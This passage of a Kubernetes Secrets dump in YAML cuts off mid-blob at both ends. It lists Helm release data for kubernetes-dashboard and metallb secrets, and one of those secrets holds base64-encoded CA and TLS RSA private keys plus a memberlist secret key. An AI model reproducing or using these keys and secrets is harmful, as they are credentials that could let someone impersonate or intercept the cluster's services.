5KZGI3UjZlWFVXbFZsQWFXMUZGRWhUQXNPMEk2V0E5OEN1NmpKKzJOKys4SmJ0UDdUdngwRjdUNHRGRjZCZ3I1eWxYRDIxamhGT25MWUpLSnRSbytacExqMXRpUnRCSkNUU284TGExOEo5QkpNZ01PTmdDeG13QUdHUUlvcGNKZ3hzTjhjQ0VzZFZvOFZIZHAyM3pMbVlkRmJBRVYxTENndUxXZ3ZEVld1TXFHUnhJalloS2k2bTVDM3lseTY0M2lKcWE4akJjZ3c3bzR6dzlqU0V1THVmaFBGZnZBTjFnUVVvTmFoQ3RZREtCbTZiRmVaU2tnSW9LVVk4dVlkRjliUEhVbUN0aDNvQmhkOGpSVnp3MEZ4aEZWbEJkK0xOYjh0VTVMMjZabXRVeWZKQU54dTVpTm9hWXBPTEw2bUJTVFlEN2UxdEdtcksrQ25zT0toWnFKMVhiRWlnMklyUDZEbm55MVdyanJLRVViOS9ocTRaajc2WVY4b0FidS9vSVJnRk9QalJnUlhZTWQ0eUtLSWp4Y1RVN0hJV0d3SDRJcjlzbHZRRmVDZFZ1R2FKRDhyY1F4OUJVSE5qbmxlWU1oVktoSzRrQ3kwKzlxdkwrbjlsbnNGeXpCUUlhNWNnWkdOVi8wVldETGZiK1ZxMmtLQnF1d2Y5OTM5RjQxR2lpdERTTGhBN0R2UEx6YWhGY245alNseXlFS1FOQ0xKbHlia2l3ZmNCcVBRdzVZMEpQQm5oZ1FHUTV0aUk2Qm9hT0FIUG5UNTNxRlNXUWJvUU5ZZnh2eDljVlE3SVVoNWhmUVlQbVFYMWlPNGRxalE1aERjck1LYkhMZ21MYUgwWWp1YWQ5VkhsWkhLUlFDSzRBcFVaSm5sd0JmMkNsNlZyMER4NmthcUxHNjRxK0lWeTExZmw4Q1g0bldwRE9iU2wvTFZOVnVzc1BCYWxybkZYSTZKZDRyeHhPelJBeVAzd0hqT21hY3oyWkJlb0lYN3VQM01VUzVESDFZOUJwM3RVTmp2eFdFWVlEM3ZLcFNGd2tZNytabys0bjc1eUttRGdoOFhpT2w4elhaT0lhUmpoejBtQWZiVkJzTGQ3SHZqTWFwWWtZMlhPOHZRWWpRNTkvTE43M0NkcE9qdHZSMXc5eE9pMHdidUNveHZiYlBYNFNkOW9WY2I1R212YjN2ZHBTbW5mcUdxdTZEYUY1THB4SldUbFpWaUc5Yk83bmlrbVkxT3U5VnBpZS9mVEExcWhyWE8xOUxvemxUWXllZ1pKcUh0bzRqemJqdklPemN1SmU0dHBld3VSV3RQMmR6WjFvdzBNMFovVHpham85WGs4S1dtZWxOai9ha3hIdFhzUGxYUGIrcWxTaXF5TEJmemR1TlY1Y0p1Mnppak52eTVLemk3KzZDbWc0MTVWb3UrY0NXc3lwUlp0cU5FZS9TM0ErMGtZaHliVEt6b0Vzc1duUnBrVU5JQUI3WmFVbHpTS1Y3bk5KOXpkRDhsdUF4dDlpOUNVWmZKVXBvNWV2ZUFmQkloNjVLbWxLRG1KVFV2ZjkvVUV0elB6UzN4aVN4TWoyUFV4RHhZY0xQblJja3N2emxzekVwUllxOWxXSlM0UlVXcXlGZnowaldBY25GUnFjaVZtM0paaHF4MEErWFNGd215MThVeWQzMHRWZGhLcVhMRDNVZ0FzTmZsMDlpWUlXYmtNaklkdEt5NkxEckt5S1FXSHJYd2ZvS0ZGNUZ6YXVKUkU0K2FlQWxTZXJpNVJwTlFVY3VOV200MEdkVTdKS1A2UEpaZERCK3BrWGNLR2M4dTU0ZkllcnpwZDZSOWx0aVBQS1phaEVqVjdXZ2VxeTJia1ViTm5vOWo5bERqaGhvM1dZMmJZS3VTb3A3REpPS0RuRGRoemp1UEU4VTBLY1E1SWNpNUZDRVFqVlhHN3orVnFaYmJIM2RrSnNpZ3NVZVRRVklEanhwNE5DbGtocVNRbjhkNDgvaEZEYlpEWlRhNzNHYVYzWGN4ekVMdHpXT012Y0o1MWUzRUw0M045Ty9sOVErUmFNQk1pY3NNM2VSTHJjSGYxQWtXa1ZscUpsSXprZnJBVG1WWVpjN3Z2RFdtNEJ1eWdJMlhYbVdCUitaVFdWUFVrdnJabHRSQnd1bkp2MmJvQ2pLb1E1ZEs2Y2VTVWgyaVY4TjZVZlRuUzBWL3hzMm1Ja3BGOUVPSnFLOEUrYkpxRWdPUGlpa1YwNDhwcHFaTXQvV3BjTDYzY0o2ZG4zbDdlbWRWN3Z4c3MzMTFWbzI5SHVQc24vOExBQUQvLzRpN0sxUUdhQUlB
  kind: Secret
  metadata:
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      modifiedAt: "1758622562"
      name: kubernetes-dashboard
      owner: helm
      status: deployed
      version: "1"
    name: sh.helm.release.v1.kubernetes-dashboard.v1
    namespace: kubernetes-dashboard
    resourceVersion: "417265"
    uid: 177f175c-2e1e-435d-bcf1-6ae35d538d49
  type: helm.sh/release.v1
- apiVersion: v1
  data:
    secretkey: QlpnOXV5VHJNZUpnbys1TjJHWlIxUQ==
  kind: Secret
  metadata:
    creationTimestamp: "2025-09-21T18:14:00Z"
    name: metallb-memberlist
    namespace: metallb-system
    ownerReferences:
    - apiVersion: apps/v1
      kind: Deployment
      name: metallb-controller
      uid: c2e37924-ad30-4fd1-a6ba-0fbd3a78632d
    resourceVersion: "57983"
    uid: 998deef3-12ef-4348-8f1f-0894f1f02440
  type: Opaque
- apiVersion: v1
  data:
    ca.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURFRENDQWZpZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFoTVJBd0RnWURWUVFLRXdkdFpYUmgKYkd4aU1RMHdDd1lEVlFRREV3UmpaWEowTUI0WERUSTFNRGt5TVRFM01UUXdNRm9YRFRNMU1Ea3hPVEU0TVRRdwpNRm93SVRFUU1BNEdBMVVFQ2hNSGJXVjBZV3hzWWpFTk1Bc0dBMVVFQXhNRVkyVnlkRENDQVNJd0RRWUpLb1pJCmh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBS3QvZmp3Y3plWlpqT2VDamVQNUtDMGtWZHR0YjRtU3NMYlkKQTl2REZvWGV3OTVDdVdBczVlZkZJWXlYbHdmNWttQVJGZFkvYThLdm5QdlhVTVVkR3FLL0NEUklBdjlmSlk3aQpLcGt4WnpUSXB5QjU4YjJ5WW5JdmNXT0szL2huSlRIbXY5bGtsWXkwSTZoUFZ3c0pheGhnU2Q4UWo2eFpuZUQzCjFoTVlTWUVOMVhZRlNjYmU4VTFpbVlOUVJ6bWwyQytkaG16QmZYNVRLNTVRdytzV2laZElCbXJlMjlyNWgreWUKQ3hhS2YxczZUQlNpUFBOa3hqMGFQS21id1BRMWw5Uk5ZSTd2UXRLZ09LZDZGSStEanhmbnFNakFxZllVOGo2SQpDWGExdXAzb2xJanlqNktZVi9HVXNsUFBXQTAxN0Vkc0hQemtNUVZMNXV1S01kQlJmc3NDQXdFQUFhTlRNRkV3CkRnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCL3dRRk1BTUJBZjh3SFFZRFZSME9CQllFRkV3QStIUFYKWTY1MmVWa09SS2I3NTl6cE1xdGVNQThHQTFVZEVRUUlNQWFDQkdObGNuUXdEUVlKS29aSWh2Y05BUUVMQlFBRApnZ0VCQUg3UG5DWXJJb1NsZ29qSDdoenpta2ptR3VPT3F5NEpURWpSZGZRWDNyMzZ2TlplU1JCRWFjKzlJTXlGCmR1dzNVOUkweHZmL3RFd2Q1djZ1enBra1dVNTN3N3ovUUhLODNROXN3QkZiR3lBOUh5Z0QyM3pMUWlOSS9mcWQKNzJnT2x1YmNocmpXNHBSQUdid2hmTGV4MG1zWjJ2VmRFY1hyQWpwbWttNDltVzVKc2FYTE83ell2TVpzODNBUQpWZnl4SUZwSHdDcHRORFpQUnR3blo5WjIwL01uMDQ4dUgxb1pib1kreFVHUzA2MFBmNFA5OXJyb25lUEthZEc5CnRGeFNvRnlKT1lsMVFyNHlsZ0NHN3R3dTRZQTdWM01wT0RONTRVNUpBRm1oTHRlVVRZTXFzNGorNkpCV2VRMUoKWlRHZE41QVhjSXU3aE9tczBxRENnTGVFNDdRPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
    ca.key: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcEFJQkFBS0NBUUVBcTM5K1BCek41bG1NNTRLTjQva29MU1JWMjIxdmlaS3d0dGdEMjhNV2hkN0Qza0s1CllDemw1OFVoakplWEIvbVNZQkVWMWo5cndxK2MrOWRReFIwYW9yOElORWdDLzE4bGp1SXFtVEZuTk1pbklIbngKdmJKaWNpOXhZNHJmK0djbE1lYS8yV1NWakxRanFFOVhDd2xyR0dCSjN4Q1ByRm1kNFBmV0V4aEpnUTNWZGdWSgp4dDd4VFdLWmcxQkhPYVhZTDUyR2JNRjlmbE1ybmxERDZ4YUpsMGdHYXQ3YjJ2bUg3SjRMRm9wL1d6cE1GS0k4CjgyVEdQUm84cVp2QTlEV1gxRTFnanU5QzBxQTRwM29VajRPUEYrZW95TUNwOWhUeVBvZ0pkclc2bmVpVWlQS1AKb3BoWDhaU3lVODlZRFRYc1Iyd2MvT1F4QlV2bTY0b3gwRkYreXdJREFRQUJBb0lCQUU0L2Q0dFo0U0F1ejdsNQp1ZC9BZVBKUDE5U3NVKzNEUGxuT3FjUUZlU3RQZnJMVVl0eGMzL0VsNHE3Ukk1b0I1eVZwNWpyQTZSd0ZJRzFQCnlveUZRUGZzallPOUw1RHhDcVBzMFY3Z1NhU3R3SU55NERlYlFvdXkxZHVESzdtYzVqMmtlUGhwaWtxT2pvNW0KMU9JMlErVDFXZjhyQVVLMENQTHlZWHlJNGxDOURaVW9pU2FZS0txajBJVU5LeVcxQm9HL2NkTkVMTkVYc0VTZQpMM0t2K1VBT3crOHpxUGR0UlBmWkVvVWRIb2tpTmhoYVlackFJNlArbll1bW9rblh3MDR3cTZrcGdKMitsVm04CjVpa2lUNnZWVTJnL0k5Wmp3OGMvbFljL0JxdUhLWTNDdzlqMFFPNi90UEtYRlZDNlZlV0pTZzJsOC8wZ1BZQlMKcWNxVGxzRUNnWUVBeFpPdzM5UGN5dDRhakVLWjYrQ09UYjlrY01sYUJaN3JCSExIWmhLZ0Z3YWd1VFlNYUJaNgpZb2ZGakxzRXhGcHg5VTFXNGlXdmRiRDJEUHRvZDBPKzk2VHR1YWJ4SEM5d3c1U2JvNEd5RUJpNkk3WmFjZmtRCmlXMUlpMzIxMVM2QnQ1ckpINjNBU0lyYk0xSjJZeVhYSlBEU2w2OUpnSThHUzlwQUJtNzJmaEVDZ1lFQTNqV3EKRjd2bGkycTlabS9lNG1Mdm0rbjNFRDBVV3J4OVVtK3VQNE9TNDRGbHE3VE14QjFZQkgzcHJuaHRyUjFOYkNTRgoySXJQL1FGUElqaEdoRjFJQm5uU3FtOVdSQWE1MVRKK0FneEJrdC80emtxeGwzZk9pbEZRT3ppK0JydmZibHlkCjljRThVRjk1N0NqSDA0aVF2TEJxS2NINEtpa0RSSFRqOXJOWUF4c0NnWUVBcmhDaUFXL2IwM2E5bU5pTVZyMHQKWWQyK2xZY3ZJa2lSOFFkV0dOMUw0VDFibUJDLytXdmtRcTR2SXY4WkFneFUzYkpYVzBHc1JWbTBURmVwLzNqVgo0OE9RRk1HNUpnVzlxUEZoOVRrc01QWTM5NEtPU0Y4UGJLTzFCLyttbEx3MldCV3NINWFxRXI4U3d6SmhUcFJsCjZRdXAzU3oyNnFZVysvaTU4M0VMQktFQ2dZQXd0TGlVdlRYQ1NtSTdldGZ5N1ZheDZTV2paSS82bDRnc3NwZ1MKQ2VmL2dCUmwvNXBHZmx3VmwvZkpxMUgyK1E1SVh2VUxrdG1tRGt4bkpzaW1LTUFwMHpnTzdacU9ESjlkRU5VMwo0N0hYM01udmhjWEplcFJHRXk2djNHOGlrTG1YdWl0UmU4cVpuMlBkRk05QUdaWUlGZThmT2dvSVM3Y1FvVUo2Cmg3TUo4d0tCZ1FDREIrR1Fhd0M3azFJTittT0I1KzFWdXQxNnUrdTM2VW9IQ2g5aXRGOFVHdDYzdUNXTVk5Wm4KS1lUWlBuMkZLaVlOTGZ0WmJ3TE55ZXorRXBvWUxHdFcrMHdpdHNiV2oxTGlrbTNSVG5vL3hRbk1XYVZMT3pVTApVMTJxS3NuOVF3L3gwL3cvQlE2VmNCcGpHM25oODR6blc0bzFKV09udTQvM3lrY1dZQUF4SGc9PQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=
    tls.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURZRENDQWtpZ0F3SUJBZ0lCQVRBTkJna3Foa2lHOXcwQkFRc0ZBREFoTVJBd0RnWURWUVFLRXdkdFpYUmgKYkd4aU1RMHdDd1lEVlFRREV3UmpaWEowTUI0WERUSTFNRGt5TVRFM01UUXdNRm9YRFRJMk1Ea3lNVEU0TVRRdwpNRm93TlRFek1ERUdBMVVFQXhNcWJXVjBZV3hzWWkxM1pXSm9iMjlyTFhObGNuWnBZMlV1YldWMFlXeHNZaTF6CmVYTjBaVzB1YzNaak1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNUxscXZGTEoKTCs1N21WZHV6dVBkVWFFTHk0UG43QW94SVZzY2lJVGE3NExaQzJzZDI0Z2JtM1Rib2RvQkVXalIwYTRGWG5hawpoRTZ5cFU4di9ZaEtuWFBKRUlMK0JJT0VGT2RMTjVXcFQ4MW5jWVZNckxwaVM2OVRxdFV2MXMvUW1YeUFuanpoCjhpaEh2bTBCeXdSTzV3cWNORTFrZGloYjlFRXIvQTJWWkVQUE11T1llQXl0R0p1cWRhTmpBcVJMMW9lK0JSOTAKWkxjUkFCempZS295R3BpaEx0OWF2ZC9nbWRZcVE5QlNqekFRYlRCTWJmY2MrQ0lOb2FCcEw2MWhoYkZzUWRuYQp3QlVuQnlabCtVU0kxN0lvS0t1SlByNkxVQXZOZ09QMnREMFNkTU80bkhNdmRPY1ZQQk92UWp1MmtBVTZGQW0vCkVmVmc4cWF3a2ZiVVNRSURBUUFCbzRHT01JR0xNQTRHQTFVZER3RUIvd1FFQXdJRm9EQVRCZ05WSFNVRUREQUsKQmdnckJnRUZCUWNEQVRBTUJnTlZIUk1CQWY4RUFqQUFNQjhHQTFVZEl3UVlNQmFBRkV3QStIUFZZNjUyZVZrTwpSS2I3NTl6cE1xdGVNRFVHQTFVZEVRUXVNQ3lDS20xbGRHRnNiR0l0ZDJWaWFHOXZheTF6WlhKMmFXTmxMbTFsCmRHRnNiR0l0YzNsemRHVnRMbk4yWXpBTkJna3Foa2lHOXcwQkFRc0ZBQU9DQVFFQWNwcmNDWFIxVkJtZGtLSjUKYzRBRnNrbkczdThWcEhvVWhyOCtSTlVZUUM1a0xqS1pJWVdDamszb1NSRUFFVHgzOUhVcHVSQi9XUXE1K0pvSgpqN01HamNNdnJKUE9wMDkzL0hBd3dOZ0NjRjdLSmhidERZQmxSbXlUUUtabDlJSS94aE9iMzRaYmRGK1hCc1cvCmE1dERUcGZSMUFGT3ZFRi9ad3RNV21wSmF2ZEJsS21tNk1KK055TFZuZXdockNMSFFSSDhzZ2EwRjBZdHhRdUoKcjJZd2pIa09wV0tRZkFpL1dTYjJtODlrLzdnNC8vem9rRy9UVmhXQ3pOYkRrL1g0SDdCWmNkeEgwSkc4NHkyYQpzRm1oN0sxcWNMdXhEVWxnSWR1ckw0QThEUjhxWUxrTVYwSnI4T2tEbk1FWVlEeUJ2WWNOWHY0VThIZnFaWHZ2CnVUV1U3QT09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
    tls.key: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcFFJQkFBS0NBUUVBNUxscXZGTEpMKzU3bVZkdXp1UGRVYUVMeTRQbjdBb3hJVnNjaUlUYTc0TFpDMnNkCjI0Z2JtM1Rib2RvQkVXalIwYTRGWG5ha2hFNnlwVTh2L1loS25YUEpFSUwrQklPRUZPZExONVdwVDgxbmNZVk0KckxwaVM2OVRxdFV2MXMvUW1YeUFuanpoOGloSHZtMEJ5d1JPNXdxY05FMWtkaWhiOUVFci9BMlZaRVBQTXVPWQplQXl0R0p1cWRhTmpBcVJMMW9lK0JSOTBaTGNSQUJ6allLb3lHcGloTHQ5YXZkL2dtZFlxUTlCU2p6QVFiVEJNCmJmY2MrQ0lOb2FCcEw2MWhoYkZzUWRuYXdCVW5CeVpsK1VTSTE3SW9LS3VKUHI2TFVBdk5nT1AydEQwU2RNTzQKbkhNdmRPY1ZQQk92UWp1MmtBVTZGQW0vRWZWZzhxYXdrZmJVU1FJREFRQUJBb0lCQUEwcG5IcGMrMFgrWCsrSgpxQTlRN3E0aGFmZmF6ZkIzLzY3UE92dWlSYVV0N3dhb3NlMnR6Z1RxdXk3N3lEN3p2TXRueTloTlZKZG1uZ0pFClpkc2R5a2w0WGRSTTdZaGQ5eTVxeHhuYVM0V1RxUVhQNllNeE1MSHhVNHZMdS9hTlBCQnhLVWV4OGtESXo2UW0KU3NtZnBGaklkQWZRZ2wwSVlvNVNaOUVZQ1FaZGdyM0VxYzJseTk0UitWNjEwWkk5cnF0QnloeWJjeXN0Z1Z1dAo0NXd5YVVvYlZDZmtrSW95S1hoclMzRVJ0bG1JRXdjSnNRNkN5cW44Qmp6Yy9WRnJlYzV5Z2M5d21jN0d6aWxDCjFnNEhIZEJMdk9DZ2drV09hbkl4Sm5SYm1TREhyaW0zY0VDZnhWcFlqZTBEUFV2aTM5MVdCb2U0UDhOcXY4OUQKY2JKSFhZOENnWUVBNVl6THNsakZPU2tIeDRPV2tUdnlyQ0EvaVZmU3VlY3poUkRjcXQwYk1nY3lQcXBSajFFRApOM1Bua1dwUDdFYTFZVEE1OVNkempSZEg2UDBYY040cys4c2hjZWJOdW90VUJWYmxNUmw0bkJpM1lDYlpVMndjCjdTdE1DczI1RloxNStzM05RQUxKdURKcUlpMDh4dEU4WVFCM3lzTGJVcGRVd3hEOFBkYnY5RnNDZ1lFQS94UkQKMkVFS21ZUGQ2VFl2c0hwcWorOUVuZjd6d1p2WDRjbCtnejIrd01kZWZrTy85ZTdNdTIrRzlTTm80cStmenp3WgpVMHAyQ3VNM0RXYjlHSm1yV1RYb2t4VnBQS2V5Z2hxZWN1TzR5MG5SempGeDVpRlNrd0ViV2U0dTgrN2xwVnA5CjdEbXVmWWZNSEMvckpmOXRQcXYzZC9SeEZLSmVhN2diaU9sUXF5c0NnWUVBd1p3YlFuVzFBeDBrUHBjeUs1VVEKZlRWRjRhVjlTdWRDZ1AxVDRabFVFc0lYRXR1OHB0Q0JrZ2ZrVExZS2F4TEljUXlvRmFvTXYvZmU0eGgwNlBHNwpwelFSSld5eUlLRGJZUldGZ2dBbHhpTGlwK3FjYXN4SktaRFhObFdGd2tGc1hLbXdjRWpwc3I1eTNoaWhwbDljCk9jU1hSU0ZNczBDSWNXNm1FZEp6MlBrQ2dZRUF1RVQ3ZmczK2lrZ28xNEM5a3MvY2kzNWVJNFU2c25MUzBkbXQKKzBGdnUvUkszd3d5Y0lmQ2Z1VmlxVlNiUUtkKzIwYWZSUHhWcWlmYWJXUXBFc3h3YkZIMVljdmw2bHQ3S1dIeApkUzN0SVc2Q2ttSkYxZW5jclRYdmZGZ0VzMU94c25KYzVYb0dBOGxHT2xham1SK2MyOWwvUExqcHQrNVVKNTBvCnh3OUZwMkVDZ1lFQW5DVXVpUTJsSXFMb1QwbEJJNlk3bGxoSHBSS3R4RGtQYXllOW1NdFBzelN0UUUraDljNFYKRXZ4SGNtRWFPSlNwUmlrREVCMUJhZVJuMDZQL1ZYYW92Q0NkYzlrT05Ed1AzTEdJRVlMYUsrdzlDMVJ5MU5IeAptSjJodjdVdElOS0ErdURySy9LZ053WTZQOGZMVENkb3BLbEtRTjhoSzJ6Q0RUMEpjcFVCY2VnPQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=
  kind: Secret
  metadata:
    annotations:
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metallb
      app.kubernetes.io/version: v0.15.2
      helm.sh/chart: metallb-0.15.2
    name: metallb-webhook-cert
    namespace: metallb-system
    resourceVersion: "57985"
    uid: 7dc8aa23-8d72-4bd1-8d8b-90faab6d47c1
  type: Opaque
- apiVersion: v1
  data:
    release: SDRzSUFBQUFBQUFDLyt4OWFaT2l5THJ3WCttb3IyOVBIOEN5cHVtSSswRXNRV2lsV2xTV3ZQZkVEUklvUVJQMENDNTRZdjc3RzVrc3NycFVWYzkyejRlSjZVTEk1Y2xuejJmNTkwTmcrczdEdHdmZmlVeUU0TVBuQnk5NFhUOTgrL2ZEcTdjTm8vKzFuUTFheDQ3OThPMkJvWmp1THhUN0MwUFBHT29iM2ZuV1piNVFMTnQ5b24vdFB2MC9pdmxHVVErZkg1RDVscTlzQnprUmVaLzhFVnBiYnhONTYrRGgyNE1ZaEhocG42eTF2OEV2UFh4K0NDTXoyb1VQM3g3eWVUNC9CT3ZJd1kvR2VDTWo3cE1YZmdyV2gwL2JYUkI0d2VLVEYzeUtYT2VUaFhaaDVHeS8vRS93UDRHOFBueUsxN3RQbGhsOHN0YkJxN2ZZYloxUFh2UnA3NW1mdkNqODFGZkNMNTkrSU1jTW5VOWI1OVhaZm9yV1pKUVVXSi9XcjYrZTVabm9rNzIyd3Y4SjFzRW5kMzNBTCsxQ2g3eUlSL2lmNE9HM3p3K1dhMjRqREZiOHJXMUdKdjUzRGZidW1qeHdvMmdUZnZ2SFA5SWZ2dXdDYis5c1ErZEw5SXAzdjk1dExielgvODVmWEhpUnU0TmZyTFdmZlpQOS8rR2ZueC93dHdrc3FTOTA5d3RUQTNIdlUrQkVoL1YyOVFtdFRmc1hhQ0l6c0p6dEp3OUQzSGVDeU1RdmZucGRiejk5MzBGbkd6aVJFMzdhaFJpd1lXUUd0cm0xUDIzWHV3Zy8yR3pYMGRwYW94RGpra1hHdjdDZmYzaSt1WERDZjZEMVlwMzkvc3ZCOVNMbnl5WllQSHgrTURlZW1xOS96NUFubThLVGZFdXJIWFRPei85blIxRWQ1NzgrMFY5bzlndjFTNEpqR3lld25jRHlDUEJ5OEZ0Ykc2KzFBVXBiWjdNT3ZXaTlqUlBFdE5hQjdhVXd3MTk5Y1FJVElvSisyYisrUmR1ZDg5cy9QejlFOFFZUGJtNDJ5TE1JL0RBYW9MVzF3aWUvY0FKbmEwWUZDbm42aFhxYzBjeTN6cS9mdXZTWFh5bjJhNGVoS2ZaTUlkN0NDYU9IYncraGF6TGRwMit2RmpTZmJOcjY2akJkNTlVeWZ6V2ZIbTNHTVRzVTlTc0xYNjFYNnBHMm1GOS9mYUs2ZHZmclY5cCs2dHBkMkxFcDFueWtINzkyUGdBZ3YzM09QM25kYm45WmZhMStSWDFocU9wWFZWeElVZGRiL3lNYjQ3ZC8vdmI1SVhMOERUS2o4c0x5aC8rUVgyYUQ2WmZvR09GdEVHcDZtR2txWldqSDhjVGpObGJNN1dESFdsaUJ1b00rMm9HWTIwQ1BvMHhodmpDWUkyMTFGR1I1ajkvN3ErN2Vqcmt1N09Ebi9FNFU1RDMwd1FaMDFCaE11WTNkNXhoVEd5eE1YVG1KQTNscXhZK0x1WEJFaGk0amNTZ2g0S3V4T0ZUMjRsQlpneWtYQVYxeG9YRDBSSUgxZ1krV3BzYUhvcURzamM3NE8yUWVGNmJBZHBMMzFST1lKdXVaME5KcHRGai9WeEdjNTQzK3IrdWdqYk1OdjBRYmRONnIwd24zM3oyOE51cEpITXJJN25PK3FSMlJQVVFITUtNalc1Y3BRNVBYWUxaZWZQZFk5bld5K2RXSnYvNnJ2MUlmTFlIZmdYNHlOL1Q1Q0V5NVBjaGg0N3BXTU5uMXZmWCtWYWUrTzUwd0VnVUZBUXpEYWMrRENZeER3K3Z1REkxR290ZUx5dS94TkJ4T0ZxT1Z2RFowaVJxdHVpN1U1b3NSQWk0Y3FzaUtrKzltSFlDc1FOb0FZYjU0N1hNVVBpY2o3akhqbVBzcURwWFkxT2laclFIZjFCY0wwYU04Y1Vpei9TRDZkVFRsRVBRbkN6d24rVHRlZjU5MEpHVG9DaEtGd1FJSXFtL29hb2poWVd2SDBKbHlSMXZqUTFNREc2Qk5Gb2JPSFVTQnJHblhSemJDYzlsYWQ1bDh6MVBpczNFU0JiTDJreWhJeUdCNDJtTG1DNHRoTVp4R3RpWWh5KzhpVzFCUDZUZ0w0Q01FQmVVa0NqekdtZERVNkkwdHFLc01MMHg5dlBndVNOMFVSd1l6TkNad043VnVJQTdsQTlER205RmlJd0dQaTRHVzRsWTZ0c0d3TzF2Z056QVlaMmVUblJuR3pZNnBIVU84VG9KUFpIL2poVEZOOXA3djgvcFprdmVUY2NYRlNNOWh2UUZlYjZmNmZHaHI2bW5rQXhvS3gvcjVaV1AzdTVxaEhXbWdqM2NnVUVOSTVsZC8yTDRhV3o1YWdXbHl0aGplQk03RHc4SWVTaHVveWpUd3djYnA5N3pSVkR5UEo2Z2hodjE1ZkNYQnVlYzErMlpjeThkR1BxSDFRSEZOclh2S3grNTNwOWtaWk9NVjlsZi83VjdjSFdLK2tmOTlzSHkwc3dWaklYcnFhVFJWVDZMWDI4MTlOUVFhZndMVDdrdXlwblJ0Q2J4bzZJOFg4bktjek8yamFONVJNYTk1RlB0aUpIcGNTdXZVQW1qZFZSUGRwTERGUElCOW5heS9FMTZ5MkR4YnZ1cmFaeDZRNFptTHZ5Tm55S0E5OURqWGlqbmFZdFNWZU1icHBTbndzZDNuUWtPVEVPdy9mai96SElyUXBLbDFrZGlYY3Y0NDhwTXpLL0dQSVJlYldwY0NYcytUOUhFazZXTlA3SGVmazdFeldPUi9hMENYVHFiRzdqQmNMRjg5UUlGZllyeitIb3NMRVgzMTNneXZSY1lyNVQzVWFMem5aRi9EOFEzN09ycUdyNFpXbk5LUjd5SW9VRHVMV2V4VHVENkp3K2hYVVVBN0xJY3dUb28rald5QkQ2RWc3dEozUExIL21KM1Z3dFM2U3poVVZ4V2FQUkZjN0NoN2ExV1lzN0FmVXpNS3RNRWZMQjdUZ2J6QmNnaVBqWG5oeUk5b3cxZGo2S3NVcGx0VCs3clB6M3E1WHVENVc4Zm9ZOTdLVW1EYUFFT2ZQMWo5N3JiSUwwYysybzhZMm9VK0h3QnRFaG5CS29GRmthNlFqS3dBYkl3aTNkZHhkWmJ2L1o2ekNXUUVCWFZwQzJ3OEUzZ1BhTWRUaG45dHNDQTBNRXZnMEhJT21SemNYZDQzMmxrZHhZVytqRjQ4N2xjbmJxRHpXMlJjUW0vSm5BTHJaL1FIbVM1bCtXd0lCYXlQbkdGb2FQSVNkdFNkM2Vjb1NPaDJmZ3R0WXI0WVErWVlBbDNjV1l3YTJ6NWFnam0vTkJpV2hvSHlVcGY5eUMveWZ5SzNodEllQ2tka1lWelZKY2JVWkRUSjE5TmRadnltU1gvNFh1RUY1ZkhFeGZjVytqbkxuVG1tb2MzM2FWRitYZHZYWkpmeXZBSStIMCtsdjNQOW91ZWQveTBXWlU3cExERE9KV2VoY2dZajcyMnRTNDM4aWx6SjhidVZEOFZBNDZsTVg2enFiRmFIUTRZV0ljdmpjamlMUXI2bmhTMThYZGk2akc3UUEwNldvTG9tMDd6dTJUWDlJTUM2REw5dGc2MlI0M0QrL1Fwb3dMVzFJeVgyM2JJczFQT3hQTEh2YnFBdmg3YW1WUEQwckk5Zyt2cytYUlhQNGVKZUdzNmdyR3NVY0ZIMDgzOTdSUncvdzcwUnYzZHROSDFOL3RxQ20rdC9rREdTdjdHT1AxUTIwTGRQSWk4akRNc0NUZCtpNDUyQUpzZEFMOU91Mk84dEVubFVvTDErUlMvUmFBUUpQenR1ck03a1E4NkRySC93UmgzS255UTR1R2prWWJHcHlhZVJqKzBjOWdRMDVRQTdFblZWdHcyNEdES1lqN2pJeG1mTHFFdGJseEMyS1MwZkxTMmEyMk9kaUh6dm5lY3hod3BsRGNkZVNiL3IwL2hjQ2V6SnQ3RllPUE1penp6L1hhQ0hEZlJUbmphVU5rWm52QU82ZTRBZEdRRUJ4RmFBMTZIc3J2SGZBbTc2VmlCZTI0OXZCYmZ0Q1FSUzNMeXZOdjUxMi9sYzNBdm0rNXBLbVlKS1l6d0Nta3hidmlwblk4MEZOcmJQY0MzaTNNSHlXVHpuR3VpRVB5RUQyL1h6RExieWhNeGQxYy9KWGpkRVJyZmhCNnpBc2VsTUcraThScHNKSEx2SUdYSjdyRk5qK0Zwa1A3ZnhXZngrNjc0YTkzSGp0emZCcERLV2YyR01GdDdYN1BPdzFrRzBYU1BrYkwvRXBsOTJlMXhUTlJEMGVROFM4enRSeDB3MVYxbWZSSUUvV01QeDNsNE92cHNNMm9IbjlVSVJzT25BZHFHbTd1emVockF6SVBDVU1WdC9GL3VKcXBXb2JCd0ZOQnFiR2RSRjh4bXI0Rk82cEFiMHZWNGl0blg1WUdqdEtxRFY0VnlpK3BaVTYvVkNGRklWLzdUT1dUWkdpMlkyWERJSHZvcENkd045QldGVlFPNm40L1Y3aXphVjEyRFl5QkxZSGRDNjFJdkgxZlloOWpsQzFwYlA3d0F6WDBoQ2hKenBZU0VORTdJajVubjcrV1RxK3FJa2Z2cktGdWdyL0N3MUNSU0dmRTljQmp3Tk82bmFVSmovYk40U0Y4b1QvdTBXVmRRZVNxNHRxSUdUd1hZb1U1YlBVMEN6dThtNVVBdGJZSUdoMGVHTjR6VERlRmhHZmJIUG5VMjJaWHFPQXUzYWdyek96S